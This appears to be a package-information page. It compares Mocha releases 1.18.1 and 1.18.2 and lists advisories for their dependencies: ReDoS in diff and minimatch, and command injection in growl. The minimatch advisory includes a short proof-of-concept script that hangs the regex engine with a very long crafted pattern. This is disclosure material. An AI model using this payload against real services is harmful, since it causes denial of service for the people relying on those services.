Mocha versions 1.18.1 and 1.18.2 represent incremental updates to this popular JavaScript test framework, favored for its simplicity, flexibility, and fun approach to testing. Both versions share a common foundation, boasting identical dependencies including 'diff' for readable comparisons, 'glob' for file pattern matching, 'jade' for templating, 'debug' for enhanced debugging, 'growl' for desktop notifications, 'mkdirp' for directory creation, and 'commander' for command-line interface creation. Similarly, the development dependencies, 'should' for expressive assertions and 'coffee-script' for alternative JavaScript syntax, remain consistent across the two versions. The core team and repository details also stay the same, indicating no fundamental shift in maintenance or project direction.
The key difference lies in their release dates. Version 1.18.2 was published on March 18, 2014, at 11:24:34.388Z, a little over an hour after version 1.18.1, which was released at 10:10:48.099Z on the same day. This suggests that version 1.18.2 likely incorporates bug fixes or minor improvements identified immediately after the initial 1.18.1 release. While the specific nature of these changes isn't evident from the provided data, developers using Mocha should opt for the newer 1.18.2 version to benefit from the most up-to-date and potentially more stable iteration of the framework. Users integrating Mocha into automated workflows might find this especially important to minimize disruptions from unexpected issues. For new projects, or if you're starting from scratch using mocha, 1.18.2 is what you should pick.
All the vulnerabilities related to the version 1.18.2 of the package
Regular Expression Denial of Service (ReDoS)
A vulnerability was found in diff before v3.5.0, the affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) attacks.
Regular Expression Denial of Service in minimatch
Affected versions of minimatch are vulnerable to regular expression denial of service attacks when user input is passed into the pattern argument of minimatch(path, pattern).
var minimatch = require(“minimatch”);
// utility function for generating long strings
var genstr = function (len, chr) {
var result = “”;
for (i=0; i<=len; i++) {
result = result + chr;
}
return result;
}
var exploit = “[!” + genstr(1000000, “\\”) + “A”;
// minimatch exploit.
console.log(“starting minimatch”);
minimatch(“foo”, exploit);
console.log(“finishing minimatch”);
Update to version 3.0.2 or later.
minimatch ReDoS vulnerability
A vulnerability was found in the minimatch package. This flaw allows a Regular Expression Denial of Service (ReDoS) when calling the braceExpand function with specific arguments, resulting in a Denial of Service.
Growl before 1.10.0 vulnerable to Command Injection
Affected versions of growl do not properly sanitize input prior to passing it into a shell command, allowing for arbitrary command execution.
Update to version 1.10.0 or later.
